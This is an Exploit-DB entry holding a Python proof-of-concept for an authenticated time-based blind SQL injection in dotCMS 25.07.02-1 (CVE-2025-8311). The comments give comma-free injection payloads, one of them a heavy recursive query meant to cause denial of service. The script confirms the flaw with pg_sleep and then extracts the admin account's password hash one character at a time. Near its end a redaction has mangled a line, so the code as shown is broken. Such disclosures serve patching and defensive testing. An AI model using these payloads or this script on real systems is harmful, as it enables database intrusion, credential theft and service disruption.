Exploit-DB #52431
Description: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Matan Sandori (OSCP_ OSEP_ OSWE)

Exploit:
#!/usr/bin/env python3

# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311


# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.

# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A

# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1

# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.

import sys
import time
import string
import urllib3
import requests

### User configuration
HOST="127.0.0.1:8443";
TARGET_ACCOUNT = "admin@dotcms.com";
SLEEP_TIME=10;
TOKEN="[CREDENTIAL_REDACTED]";
CHARS = string.printable;

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);

def encode_all_characters(string):
    return "".join("%{0:0>2x}".format(ord(char)) for char in string);

def send_request(payload=""):
    payload = encode_all_characters(payload);
    burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
    burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
    return requests.get(burp0_url, headers=burp0_headers, verify=False);

def send_sqli(q):
    query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
    return send_request(query);

def test_sqli():
    print("[!] Checking target responsiveness...")
    r = send_request();

    if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
        print("[-] Target did NOT return the expected JSON structure. Exiting.");
        sys.exit(1);
   
    print("[+] Target responded correctly.\n");

    r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");

    if (not r.elapsed.total_seconds() >= SLEEP_TIME):
        print("[-] Target did not pause as expected; Exiting.");
        sys.exit(1);


def retrieve_password(TEMPLATE, CHARS):
    CHARS = ":" + CHARS.replace(":", '');
    output = "";
    index = 1;

    while True:
        for character in CHARS:
            query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));
       
            r = send_sqli(query);
       
            if (r.elapsed.total_seconds() >= SLEEP_TIME):
                print(f"[+] Found character: {character}");
                index += 1;
                output += character;
                break;
        else:
            break;

    return output;

test_sqli();

print("[+] Target is Vulnerable to SQL Injection.\n");

TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";

[CREDENTIAL_REDACTED]_password(TEMPLATE, CHARS);

print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");